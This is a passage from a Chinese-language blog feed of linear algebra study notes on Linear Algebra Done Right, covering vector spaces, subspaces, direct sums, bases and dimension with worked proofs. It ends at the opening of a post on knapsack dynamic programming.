$u \in U$，$w \in W$，$a_i, b_i \in \mathbf F$，故 $\text{span}(u_1, \cdots, u_m, w_1, \cdots, w_n) = V$，运用&lt;strong&gt;剔除法&lt;/strong&gt;即可得到 $V$ 的一个基，这个基由 $U \cup W$ 中向量组成．&lt;/p&gt;
&lt;/blockquote&gt;
&lt;ol&gt;
&lt;li&gt;⭐ 有限维向量空间 $V$ 的&lt;strong&gt;直和分解&lt;/strong&gt; $V = U \oplus W$ 中， $U$ 和 $W$ 是 $V$ 的子空间，则 $U$ 基和 $W$ 基共同构成 $V$ 的基．&lt;/li&gt;
&lt;/ol&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;解说&lt;/strong&gt;：$V$ 的维度被“切”成两半，一半维度给了 $U$，另一半维度给了 $W$，而基的作用就是“提供维度”，因此 $V$ 的基也被成了两组，一组给了 $U$，另一组给了 $W$．&lt;/p&gt;
&lt;/blockquote&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;证明&lt;/strong&gt;：显然 $U$ 基和 $W$ 基共同张成 $V$，只需证明 $U$ 基和 $W$ 基共同构成线性无关组即可．由于 $U \cap W = {0}$，结合 $w_i \in W$ 且 $w_i \ne 0$ 容易得到 $w_i \notin \text{span}(u_1, \cdots, u_m)$，最终容易得到 $U$ 基和 $W$ 基共同构成线性无关组．&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h3&gt;维数&lt;/h3&gt;
&lt;p&gt;有限维向量空间基的长度不依赖于基的选取，这个长度似乎反映了向量空间的某种性质．&lt;/p&gt;
&lt;h4&gt;定义&lt;/h4&gt;
&lt;p&gt;有限维向量空间 $V$ 的 &lt;strong&gt;维数 (dimension)&lt;/strong&gt; 就是任一基的长度，记作 $\dim V$．&lt;/p&gt;
&lt;h4&gt;性质&lt;/h4&gt;
&lt;ol&gt;
&lt;li&gt;⭐ 设 $V$ 是有限维的，长度为 $\dim V$ 的无关组必为 $V$ 的基；&lt;/li&gt;
&lt;/ol&gt;
&lt;blockquote&gt;
&lt;p&gt;只要长度恰当，我们就终于不用煞费苦心地验证无关组是否张成 $V$ 了．这个无关组扩充的时候没有添加任何新的向量，自动证明了这样的无关组必定是基．&lt;/p&gt;
&lt;/blockquote&gt;
&lt;ol&gt;
&lt;li&gt;设 $V$ 是有限维的，长度为 $\dim V$ 的张成组必为 $V$ 的基；&lt;/li&gt;
&lt;/ol&gt;
&lt;blockquote&gt;
&lt;p&gt;只要长度恰当，我们就终于不用煞费苦心地验证张成组是否无关了．&lt;/p&gt;
&lt;/blockquote&gt;
&lt;ol&gt;
&lt;li&gt;⭐ $V$ 是有限维的，$U$ 是 $V$ 的子空间，则 $\dim U \le \dim V$，等号仅在 $U = V$ 时成立；&lt;/li&gt;
&lt;/ol&gt;
&lt;blockquote&gt;
&lt;p&gt;把 $U$ 的基看成 $V$ 中的无关组，把 $V$ 的基看成张成组即可得到 $\dim U \le \dim V$，结合性质 1 可得等号的成立条件．&lt;/p&gt;
&lt;/blockquote&gt;
&lt;ol&gt;
&lt;li&gt;⭐ &lt;strong&gt;(维数定理)&lt;/strong&gt; 设 $U$，$W$ 为同一有限维向量空间的子空间，则
$$
\dim (U + W) = \dim U + \dim W - \dim (U \cap W)
$$
特别地，若为直和，则有 (就像不相交并的元素个数一样)
$$
\dim (U \oplus W \oplus \cdots) = \dim U + \dim W + \cdots
$$&lt;/li&gt;
&lt;/ol&gt;
&lt;blockquote&gt;
&lt;p&gt;证明思路：以 $U \cap W$ 的基 $v_i$ 为根基，分别向 $U$ 和 $W$ 扩基得到 $u_i$ 和 $w_i$ ，欲证明这三部分基 $u_i, v_i, w_i$ 拼在一起就是 $U + W$ 的基．显然这些向量能够张成 $U + W$，重点证明它们的无关性．&lt;/p&gt;
&lt;p&gt;这里要明确&lt;strong&gt;线性无关的本质&lt;/strong&gt;：将无关组任意分成任意组，每个无关组张成的空间，彼此交集仅在零向量处．上面所述等价于任意分成两组．(实际上我们为待确定无关性的组安排&lt;strong&gt;构造路径&lt;/strong&gt;时，只需要构造一条即可，因为这条路径走完后，整个组瞬间就无关了，此时无关组分组的任意性就保证了其他所有分组方式都能满足「每个无关组张成的空间，彼此交集仅在零向量处」，因此其它所有路径，一路走到黑，最后还是得到无关的结论．)&lt;/p&gt;
&lt;p&gt;假设 $(u_i, v_i, w_i)$ 相关．想象它原本是无关的，某个无关组的加入使它变成相关的了，这中途 $(::)\rightarrow(v_i)\rightarrow(v_i, u_i)\rightarrow(v_i, u_i, w_i)$ 只有以下情况：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;是 $w_i$ 基的加入破坏了 $(v_i, u_i)$ 的无关性 (这个无关性是假设出来的，实际加入过程是情况 3, 2, 1 倒过来看的）：假设 $w_i$ 张成空间中一向量 $w$ 落在了 $U(u_i, v_i)$ 中，由于 $w$ 也在 $W(v_i, w_i)$ 中，因此 $w$ 只能在 $(U \cap W)(v_i)$，这意味着我们这样做反倒使得 $W(v_i, w_i)$ 基的无关性被破坏了（$w_i$ 张出来的向量进了 $v_i$ 张成空间里面)，这种情况不可取；&lt;/li&gt;
&lt;li&gt;是 $u_i$ 基的加入破坏了 $(v_i)$ 的无关性：$U(u_i, v_i)$ 基本来就是无关的，这种情况显然不可能；&lt;/li&gt;
&lt;li&gt;是 $v_i$ 基的加入破坏了 $(::)$ 的无关性：$v_i$ 基是无关的，显然不可能．&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;这几种情况都不可能，于是 $(u_i, v_i, w_i)$ 无关，它成为了 $U + W$ 的基．&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h4&gt;例子&lt;/h4&gt;
&lt;ol&gt;
&lt;li&gt;如果 $U = {(x,y,z) \in \mathbf F^3: x+y+z=0}$，那么 $\dim U = 2$，因为 $U$ 的一个基是 $(1, -1, 0), (1, 0, -1)$，它的长度是 $2$；&lt;/li&gt;
&lt;/ol&gt;
&lt;blockquote&gt;
&lt;p&gt;可以说，找到了基就找到了维数，求维数的直接方法就是找基．&lt;/p&gt;
&lt;/blockquote&gt;
&lt;ol&gt;
&lt;li&gt;现有 $\mathcal P_3(\mathbf R)$ 一子空间 $U = {p\in\mathcal P_3(\mathbf R) : p&apos;(5) = 0}$，尝试寻找它的一个基；&lt;/li&gt;
&lt;/ol&gt;
&lt;blockquote&gt;
&lt;p&gt;重点是找出 $U$ 的维数．&lt;/p&gt;
&lt;/blockquote&gt;
&lt;blockquote&gt;
&lt;ol&gt;
&lt;li&gt;先在 $U$ 里面找几个向量再说：不难找出向量 $1$，$(x-5)^2$，$(x-5)^3$ 在 $U$ 里 ($x - 5$ 不在里面哦)；&lt;/li&gt;
&lt;li&gt;再看看它们的无关性是否优良：不难验证它们线性无关；&lt;/li&gt;
&lt;li&gt;由于无关组都能够被扩成基，这保证 $U$ 基长度的下限，也就是 $U$ 维数的下限：$3 \le \dim U$；&lt;/li&gt;
&lt;li&gt;由于子空间的维数存在上界，$\dim U \le \dim \mathcal P_3(\mathbf R) = 4$，那等号能否成立？就看 $U$ 是否就是 $\mathcal P_3(\mathbf R)$．因为 $\mathcal P_3(\mathbf R)$ 更大，我们尝试在 $\mathcal P_3(\mathbf R)$ 里找几个向量看看，发现 $x - 3$ 不在 $U$ 里面，于是 $U \ne \mathcal P_3(\mathbf R)$，我们就有$\dim U &amp;lt; \dim \mathcal P_3(\mathbf R) = 4$；&lt;/li&gt;
&lt;li&gt;于是 $3 \le \dim U &amp;lt; 4$，从而 $\dim U = 3$，长度为 $\dim U$ 的无关组必为 $U$ 的基，我们找到了 $U$ 一个基 $1$，$(x-5)^2$，$(x-5)^3$；&lt;/li&gt;
&lt;/ol&gt;
&lt;/blockquote&gt;
&lt;ol&gt;
&lt;li&gt;设 $v_1, \cdots, v_m$ 在 $V$ 中线性无关，$w \in V$，证明：
$$
\dim \text{span} (v_1 + w, \cdots, v_m + w) \ge m - 1
$$&lt;/li&gt;
&lt;/ol&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;证明&lt;/strong&gt;：张成组必能剃成基，这说明张成空间最多就 $m$ 维 (也就是没剃)，于是待证维数要么为 $m - 1$，要么为 $m$．&lt;/p&gt;
&lt;p&gt;注意无关组 $v_i$，每个向量被加上了 $w$，但我们并不知道 $w$ 在不在这个无关组的张成空间里面．如果在里面，那么新的向量组就相关了，反之则保持无关，这个问题于是变得棘手起来．&lt;/p&gt;
&lt;p&gt;在张成组现有向量里消除 $w$ 的方法自然是向量互减，得到 $v_2 - v_1$，$v_3 - v_2$，$\cdots$，$v_m - v_{m - 1}$，而它们显然无关，并且还在张成空间里面．&lt;/p&gt;
&lt;p&gt;无关组长度为 $m - 1$，并且能够扩成基，于是张成空间维数自然不低于 $m - 1$，问题得证．&lt;/p&gt;
&lt;/blockquote&gt;
&lt;ol&gt;
&lt;li&gt;在十维向量空间 $V$ 中有子空间 $V_1$，$V_2$，$V_3$，其中 $\dim V_1 = \dim V_2 = \dim V_3 = 7$，证明：$V_1 \cap V_2 \cap V_3 \ne {0}$．&lt;/li&gt;
&lt;/ol&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;证明&lt;/strong&gt;：容易联想到&lt;strong&gt;维数定理&lt;/strong&gt;，先从 $V_1 \cap V_2$ 下手：
$$
\dim (V_1 \cap V_2) = \dim V_1 + \dim V_2 - \dim (V_1 + V_2)
$$
由于 $V_1 + V_2$ 是 $V$ 的子空间，因此 $\dim(V_1 + V_2) \le \dim V = 10$，故
$$
\dim (V_1 \cap V_2) \ge 7 + 7 - 10 = 4
$$
现在关注 $V_1 \cap V_2 \cap V_3$，有
$$
\begin{aligned}
\dim(V_1 \cap V_2 \cap V_3) &amp;amp;= \dim(V_1 \cap V_2) + \dim V_3 - \dim(V_1 \cap V_2 + V_3) \
&amp;amp;\ge 4 + 7 - \dim(V_1 \cap V_2 + V_3) \
&amp;amp;= 11 - \dim(V_1 \cap V_2 + V_3)
\end{aligned}
$$
其中 $V_1 \cap V_2$ 是子空间，因此 $V_1 \cap V_2 + V_3$ 也是子空间，故
$$
\dim (V_1 \cap V_2 \cap V_3) \ge 11 - 10 = 1
$$
从而 $V_1 \cap V_2 \cap V_3 \ne {0}$．&lt;/p&gt;
&lt;/blockquote&gt;
</content:encoded></item><item><title>【LADR】【01】Vector Space</title><link>https://fuwari.vercel.app/posts/math/ladr/ladr-01-vector-space/</link><guid isPermaLink="true">https://fuwari.vercel.app/posts/math/ladr/ladr-01-vector-space/</guid><description>Linear Algebra Done Right 第一章</description><pubDate>Tue, 04 Feb 2025 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;观察发现，诸如复数、空间向量、实值函数等数学对象的运算都有很多共同点 (交换群，数乘，分配律)，总结这些共同的特点就是 Linear Algebra Done Right 第一章的主要任务．这一章节主要引入了&lt;strong&gt;向量空间&lt;/strong&gt; (线性空间) 这一概念，以统一这类数学对象运算的线性性．同时像集合子集那样，这一章节也引入了向量空间的&lt;strong&gt;子空间&lt;/strong&gt;这一概念，子空间内元素的运算性质与所属向量空间的一致，这反映了向量空间整体与局部的相似性．&lt;/p&gt;
&lt;h2&gt;$\mathbf R^n$ 和 $\mathbf C^n$&lt;/h2&gt;
&lt;h3&gt;$\mathbf F$&lt;/h3&gt;
&lt;p&gt;记号 $\mathbf F$ 一般代表 $\mathbf R$ 或 $\mathbf C$，字母 $\mathbf F$ 源于&lt;strong&gt;域（field）&lt;/strong&gt;．称 $\mathbf F$ 中的元素为&lt;strong&gt;标量（scalar）&lt;/strong&gt;．&lt;/p&gt;
&lt;h3&gt;$\mathbf F^n$&lt;/h3&gt;
&lt;h4&gt;定义&lt;/h4&gt;
&lt;p&gt;$$
\mathbf F^n = {(x_1, \cdots, x_n) : x_k \in \mathbf F,, k = 1, \cdots, n}
$$&lt;/p&gt;
&lt;p&gt;这里 $\mathbf F$ 不一定代表 $\mathbf R$ 或 $\mathbf C$，任何集合均可．记加法恒等元
$$
0 = (0, \cdots, 0)
$$
依照上下文判断是 $\mathbf F$ 中的加法恒等元还是 $\mathbf F^n$ 中的加法恒等元．&lt;/p&gt;
&lt;h4&gt;加法、加法交换律、加法逆元&lt;/h4&gt;
&lt;p&gt;$\mathbf F^n$ 中的加法定义为对应坐标相加：
$$
(x_1, \cdots, x_n) + (y_1, \cdots, y_n) = (x_1 + y_1, \cdots, x_n + y_n)
$$
$\mathbf F^n$ 中的加法满足交换律：
$$
\forall, x, y \in \mathbf F^n,: x + y = y + x
$$
对于 $\mathbf F^n$ 中的 $x$ 和 $y$，若 $x + y = 0$，则称 $x$，$y$ 互为加法逆元，记 $y = -x$．容易证明对于 $\mathbf F^n$ 中任意的 $x$，其加法逆元存在且唯一．&lt;/p&gt;
&lt;h4&gt;标量乘法&lt;/h4&gt;
&lt;p&gt;若 $\lambda \in \mathbf F$，则 $\mathbf F^n$ 中的标量乘法定义为：
$$
\lambda(x_1, \cdots, x_n) = (\lambda x_1, \cdots, \lambda x_n)
$$&lt;/p&gt;
&lt;h2&gt;向量空间&lt;/h2&gt;
&lt;h3&gt;集合上的加法和标量乘法&lt;/h3&gt;
&lt;p&gt;定义集合 $V$ 上的加法是一种映射 $f : (u, v) \rightarrow w$，其中 $u, v, w \in V$，记 $w = u + v$．&lt;/p&gt;
&lt;p&gt;定义集合 $V$ 上的标量乘法是一种映射 $f : (\lambda, v) \rightarrow w$，其中 $\lambda \in \mathbf F$，$v, w \in V$，记 $w = \lambda v$．&lt;/p&gt;
&lt;p&gt;这里加法和标量乘法都是封闭的（closed）．&lt;/p&gt;
&lt;h3&gt;向量空间&lt;/h3&gt;
&lt;p&gt;若集合 $V$ 定义了加法和 $\mathbf F$ 上的标量乘法，并且 $V$ 及其所有元素、加法、$\mathbf F$ 上的标量乘法满足：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;⭐ 集合中存在&lt;strong&gt;加法恒等元&lt;/strong&gt;（identity）$\exists,0 \in V, \forall, v \in V, v + 0 = v$；&lt;/li&gt;
&lt;li&gt;⭐ 所有元素均存在&lt;strong&gt;加法逆元&lt;/strong&gt;（inverse）$\forall, v \in V, \exist,w \in V, v + w = 0$；&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;加法交换律&lt;/strong&gt;（commutativity）$\forall, u, v \in V,: u + v = v + u$；&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;加法结合律&lt;/strong&gt;（associativity）$\forall, u, v, w\in V, (u + v) + w = u + (v + w)$；&lt;/li&gt;
&lt;li&gt;域中存在&lt;strong&gt;标量乘法恒等元&lt;/strong&gt; $\exists,1\in \mathbf F, \forall,v \in V, 1v=v$；&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;标量乘法结合律&lt;/strong&gt; $\forall, a, b \in \mathbf F, \forall, v \in V, a(bv)=(ab)v$；&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;标量乘法左分配律&lt;/strong&gt;（distributive properties）$\forall,\lambda\in\mathbf F, \forall, u, v\in V, \lambda(u + v) = \lambda u + \lambda v$；&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;标量乘法右分配律&lt;/strong&gt; $\forall,\lambda,\mu\in\mathbf F, \forall, v\in V, (\lambda + \mu)v = \lambda v + \mu v$，&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;则称集合 $V$ 是 $\mathbf F$ 上的&lt;strong&gt;向量空间&lt;/strong&gt;．向量空间中的元素被称为&lt;strong&gt;向量&lt;/strong&gt;，或被称为&lt;strong&gt;点&lt;/strong&gt;．&lt;/p&gt;
&lt;p&gt;一般研究 $\mathbf R$ 上的向量空间，即&lt;strong&gt;实向量空间&lt;/strong&gt;，也就是标量为实数的情况．&lt;/p&gt;
&lt;p&gt;最小的向量空间是 ${0}$，其中 $0$ 是加法恒等元．&lt;strong&gt;所有的向量空间必含加法恒等元&lt;/strong&gt;．&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;注意：空集 $\oslash$ 不是向量空间，因为 $\oslash$ 不满足向量空间定义的第一个条件，即不存在加法恒等元（注意存在量词放在命题句首）．&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;容易证明，&lt;strong&gt;加法恒等元唯一&lt;/strong&gt;．&lt;/p&gt;
&lt;p&gt;容易证明，&lt;strong&gt;加法逆元唯一&lt;/strong&gt;．因此记号 $-v$ 和 $u - v$ 可以使用．&lt;/p&gt;
&lt;blockquote&gt;
&lt;ol&gt;
&lt;li&gt;标量 $0$ 与任意向量相乘必得加法恒等元，即 $0v = 0$；&lt;/li&gt;
&lt;/ol&gt;
&lt;blockquote&gt;
&lt;p&gt;证明：（标量乘法的右分配律）
$$
0v = (0 + 0)v = 0v + 0v
$$
两边加上 $0v$ 的逆元得（加法逆元存在，加法结合律）
$$
0v + (-0v) = 0v + (0v + (-0v))
$$
即（加法逆元的定义）
$$
0 = 0v
$$&lt;/p&gt;
&lt;/blockquote&gt;
&lt;ol&gt;
&lt;li&gt;标量 $-1$ 与任意向量相乘必得该向量的加法逆元，即 $(-1)v = -v$；&lt;/li&gt;
&lt;li&gt;任意标量与加法恒等元相乘必得加法恒等元，即 $\lambda 0 = 0$．&lt;/li&gt;
&lt;/ol&gt;
&lt;/blockquote&gt;
&lt;h3&gt;值函数空间&lt;/h3&gt;
&lt;h4&gt;定义&lt;/h4&gt;
&lt;p&gt;$$
\mathbf F^S = {f \mid f:S\rightarrow \mathbf F}
$$&lt;/p&gt;
&lt;h4&gt;值函数集上的加法&lt;/h4&gt;
&lt;p&gt;对于任意的 $f, g \in \mathbf F^S$，若函数 $h \in \mathbf F^S$ 满足
$$
\forall, x \in S,: h(x) = f(x) + g(x)
$$
则称 $h$ 是 $f$ 与 $g$ 的&lt;strong&gt;和&lt;/strong&gt;，记作 $f + g$．&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;注意：等式左边是 $\mathbf F^S$ 上的加法，等式右边是 $\mathbf F$ 上的加法．&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h4&gt;值函数集上的标量乘法&lt;/h4&gt;
&lt;p&gt;对于任意的 $\lambda \in \mathbf F$ 与 $f \in \mathbf F^S$，若函数 $g \in \mathbf F^S$ 满足
$$
\forall, x \in S,: g(x) = \lambda f(x)
$$
则称 $g$ 是 $f$ 的&lt;strong&gt;乘积&lt;/strong&gt;，记作 $\lambda f$．&lt;/p&gt;
&lt;h4&gt;性质&lt;/h4&gt;
&lt;p&gt;容易证明，值函数集是向量空间．&lt;/p&gt;
&lt;h2&gt;向量空间的子空间&lt;/h2&gt;
&lt;p&gt;在向量空间中，相比对任意子集，我们对子空间更感兴趣．&lt;/p&gt;
&lt;h3&gt;子空间&lt;/h3&gt;
&lt;h4&gt;定义&lt;/h4&gt;
&lt;p&gt;设 $U$，$V$ 均为 $\mathbf F$ 上的向量空间，且&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;⭐ $U \sub V$；&lt;/li&gt;
&lt;li&gt;⭐ $U$ 的加法、标量乘法与 $V$ 的加法、标量乘法相同（即向量空间的八个条件相同）；&lt;/li&gt;
&lt;li&gt;$U$ 的加法恒等元与 $V$ 的加法恒等元相同．&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;则称 $U$ 是 $V$ 的&lt;strong&gt;子空间&lt;/strong&gt;，最简单的子空间是 ${0}$．&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;注意：仅条件 2 成立并不能保证加法恒等元相同（只保证各自的加法恒等元存在．两个向量空间分别有各自的加法恒等元，比如向量空间 $U$ 围绕着 $0_u$ 存在（$\exists, 0_u \in U$），向量空间 $V$ 围绕着 $0_v$ 存在（$\exists, 0_v \in U$）），不过可以保证各自的乘法恒等元保持一致（因为都是 $\exists,1 \in \mathbf F$）．&lt;/p&gt;
&lt;p&gt;但事实上，条件 3 可由条件 1 和条件 2 共同导出：&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;在 $U$ 中，
$$
u + 0_u = u
$$
因为 $U \sub V$，所以 $u, 0_u \in V$，故 $0_u = 0_v$．&lt;/p&gt;
&lt;/blockquote&gt;
&lt;/blockquote&gt;
&lt;h4&gt;判定方法&lt;/h4&gt;
&lt;p&gt;集合 $U$ 是向量空间 $V$ 的子空间，当且仅当&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;$U \sub V$；&lt;/li&gt;
&lt;li&gt;⭐ 父集的加法恒等元在子集中，即 $0_v \in U$；&lt;/li&gt;
&lt;li&gt;子集的加法、标量乘法（映射）分别是父集的加法、标量乘法（映射）的子集；&lt;/li&gt;
&lt;li&gt;⭐ 在父集的加法下，子集是封闭的，即 $\forall, u_1, u_2 \in U, u_1 + u_2 \in U$；&lt;/li&gt;
&lt;li&gt;⭐ 在父集的标量乘法下，子集也是封闭的，即 $\forall, \lambda \in F, \forall, u \in U, \lambda u \in U$；&lt;/li&gt;
&lt;/ol&gt;
&lt;blockquote&gt;
&lt;p&gt;必要性（$\Rightarrow$）是显然的，下面证明&lt;strong&gt;充分性（$\Leftarrow$）&lt;/strong&gt;：$U \sub V$ 直接被证明，下面证明八个条件：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;$U$ 的加法恒等元存在：对于任意的 $u \in U$，都有 $u \in V$ (条件 1)，因此在向量空间 $V$ 中，
$$
u + 0_v = u
$$
而 $0_v \in U$（条件 2），故 $0_u = 0_v$；&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;$U$ 中所有元素均存在加法逆元：对于任意的 $u \in U$，都有 $(-1)u \in U$（条件 5），即 $-u \in U$；&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;剩余的条件均可由条件 3 配合条件 4，5 直接导出．&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;/blockquote&gt;
&lt;h4&gt;一些子空间的例子&lt;/h4&gt;
&lt;ol&gt;
&lt;li&gt;极限为 0 的数列的线性组合，其极限仍为 0，即 ${z : \lim z = 0}$ 是 $\mathbf C^\infty$ 的子空间；&lt;/li&gt;
&lt;li&gt;连续函数的线性组合必连续，即 ${f \in \mathbf R^D : f \text{ is continuous}}$ 是 $\mathbf R^D$ 的子空间；&lt;/li&gt;
&lt;li&gt;可微函数的线性组合必可微，即 ${f \in \mathbf R^D : f \text{ is differentiable}}$ 是 $\mathbf R^D$ 的子空间；&lt;/li&gt;
&lt;/ol&gt;
&lt;h3&gt;子空间的和&lt;/h3&gt;
&lt;p&gt;子空间的&lt;strong&gt;并&lt;/strong&gt;往往就不是子空间了，因此我们对子空间的和更感兴趣．&lt;/p&gt;
&lt;h4&gt;定义&lt;/h4&gt;
&lt;p&gt;设 $V_1, \cdots, V_m$ 均为 $V$ 的子空间，定义它们的&lt;strong&gt;和（sum）&lt;/strong&gt;
$$
V_1 + \cdots + V_m = {v_1 + \cdots + v_m : v_i \in V_i,, i = 1, \cdots, m}
$$&lt;/p&gt;
&lt;h4&gt;性质&lt;/h4&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;⭐ $V_1 + \cdots + V_m$ 是 $V$ 的子空间；&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;$V_1 + \cdots + V_m$ 是包含 $V_1, \cdots, V_m$ 的 $V$ 的最小子空间．&lt;/p&gt;
&lt;p&gt;也就是说，若子空间 $U$ 包含 $V_1, \cdots, V_m$，则必包含 $V_1 + \cdots + V_m$．&lt;/p&gt;
&lt;p&gt;也就是说，包含了 $V_1, \cdots, V_m$ 的 $U$ 是子空间的必要条件是：$U$ 包含 $V_1 + \cdots + V_m$．&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;blockquote&gt;
&lt;p&gt;性质 1 易证，性质 2 类似于「包含若干子集的最小子集正是这些子集的并」，因为「包含若干子集的子集也都包含这些子集的并」．&lt;/p&gt;
&lt;p&gt;形象的解释就是：挖去 $V_1 + \cdots + V_m$ 中任意子集都会导出不封闭或者不包含 $V_i$（仅能形象解释，无法证明）．正式的&lt;strong&gt;证明&lt;/strong&gt;是：对任意的 $i$，取
$$
\forall, v_i =0_1+\cdots+v_i+\cdots+0_m \in V_1 + \cdots + V_m
$$
故 $V_i \sub V_1 + \cdots + V_m$，即 $V_1 + \cdots + V_m$ 是包含 $V_1, \cdots, V_m$ 的 $V$ 的子空间．&lt;/p&gt;
&lt;p&gt;设 $V$ 的任何一个包含 $V_i$ 的子空间 $U$，则 $U$ 必包含 $V_1 + \cdots + V_m$，不凭别的，就凭 $U$ 包含了所有 $V_i$（也就是说，所有 $v_i$ 也都在 $U$ 里），并且 $U$ 是封闭的（结合前面提到的「所有 $v_i$ 也都在 $U$ 里」，有限个 $v_i$ 的和（也就是 $V_1 + \cdots + V_m$ 的元素）封闭在 $U$ 内）．&lt;/p&gt;
&lt;p&gt;形象地说，$U$ 由于自身的封闭性，不得不接受 $V_i$ 共创的所有“产物”，从而包含了 $V_1 + \cdots + V_m$．&lt;/p&gt;
&lt;/blockquote&gt;
&lt;ol&gt;
&lt;li&gt;$U + U = U$；&lt;/li&gt;
&lt;/ol&gt;
&lt;blockquote&gt;
&lt;p&gt;由 $U$ 的封闭性直接导出．&lt;/p&gt;
&lt;/blockquote&gt;
&lt;ol&gt;
&lt;li&gt;⭐ &lt;strong&gt;子空间和的交换律&lt;/strong&gt;：$U + W = W + U$；&lt;/li&gt;
&lt;li&gt;⭐ &lt;strong&gt;子空间和的结合律&lt;/strong&gt;：$(V_1 + V_2) + V_3 = V_1 + (V_2 + V_3)$；&lt;/li&gt;
&lt;/ol&gt;
&lt;blockquote&gt;
&lt;p&gt;由向量空间的加法交换律和加法结合律直接导出．&lt;/p&gt;
&lt;/blockquote&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;子空间和的加法恒等元&lt;/strong&gt;：零子空间 ${(0_1, \cdots, 0_m)} = {(0, \cdots, 0)}$；&lt;/li&gt;
&lt;li&gt;只有零子空间有加法逆元．&lt;/li&gt;
&lt;/ol&gt;
&lt;blockquote&gt;
&lt;p&gt;由性质 3 及反证法可推出．&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h4&gt;例子&lt;/h4&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;$U$&lt;/th&gt;
&lt;th&gt;$W$&lt;/th&gt;
&lt;th&gt;$U+W$&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;${(x, 0, 0)\in\mathbf F^3}$&lt;/td&gt;
&lt;td&gt;${(0, y, 0)\in\mathbf F^3}$&lt;/td&gt;
&lt;td&gt;${(x, y, 0)\in\mathbf F^3}$&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;${(x, x, y, y)\in\mathbf F^4}$&lt;/td&gt;
&lt;td&gt;${(x, x, x, y)\in\mathbf F^4}$&lt;/td&gt;
&lt;td&gt;${(x, x, y, z)\in\mathbf F^3}$&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h3&gt;子空间的直和&lt;/h3&gt;
&lt;h4&gt;定义&lt;/h4&gt;
&lt;p&gt;设 $V_1, \cdots, V_m$ 均为 $V$ 的子空间，如果 $V_1 + \cdots + V_m$ 中的每个元素都能用 $v_1 + \cdots + v_m$ 这个形式唯一地表示出来，则称 $V_1 + \cdots + V_m$ 为&lt;strong&gt;直和（direct sum）&lt;/strong&gt;，记作 $V_1 \oplus \cdots \oplus V_m$．&lt;/p&gt;
&lt;p&gt;在 3.2.3 中表格的第一行的例子正是直和，第二行的例子不是直和．&lt;/p&gt;
&lt;h4&gt;性质&lt;/h4&gt;
&lt;ol&gt;
&lt;li&gt;$V_1 + \cdots + V_m$ 是直和，当且仅当用 $v_1 + \cdots + v_m$ 表示 $0$ 的方式是唯一的；&lt;/li&gt;
&lt;li&gt;⭐ $U + W$ 是直和，当且仅当 $U \cap W = {0}$．&lt;/li&gt;
&lt;/ol&gt;
&lt;blockquote&gt;
&lt;p&gt;性质 1 不难证明，向量做差结合封闭性即可得证．&lt;/p&gt;
&lt;p&gt;性质 2 类似于「子集的不相交并」，下面证明性质 2：&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;必要性（$\Rightarrow$）&lt;/strong&gt;：任取 $v \in U \cap W$，则 $v \in U$，于是我们根据 $v$ 找到了 $0$ 的一个表示是 $0 = v + (-v)$；又因为 $v \in W$，也就是说我们又找到了 0 的一个表示是 $0 = (-v) + v$，由于 $0$ 的表示唯一，
$$
\begin{cases}
v = -v \
-v = v
\end{cases}
$$
解得 $v = 0$．也就是说从 $U \cap W$ 取出的元素都是 $0$，于是 $U \cap W = {0}$．&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;充分性（$\Leftarrow$）&lt;/strong&gt;：根据性质 1，只需证明 $0$ 的表示 $0 = u + w$ 是唯一的．&lt;/p&gt;
&lt;p&gt;显然 $w = -u \in U$（$U$ 的封闭性），又因为 $w \in W$，因此 $w \in U \cap W$，故 $w = 0$，$u = -w = 0$，这说明在 $0$ 的表示中，$u$ 和 $w$ 只能为 $0$，是唯一的．&lt;/p&gt;
&lt;p&gt;注意：性质 2 仅使用于两个子空间的情况，原因显然．&lt;/p&gt;
&lt;/blockquote&gt;
</content:encoded></item><item><title>背包问题</title><link>https://fuwari.vercel.app/posts/algo/knapsack-dp/</link><guid isPermaLink="true">https://fuwari.vercel.app/posts/algo/knapsack-dp/</guid><description>本文讲解 0-1 背包、完全背包．</description><pubDate>Tue, 26 Nov 2024 00:00:00 GMT</pubDate><content:encoded>&lt;h2&gt;0-1 背包&lt;/h2&gt;
&lt;h3&gt;问题&lt;/h3&gt;
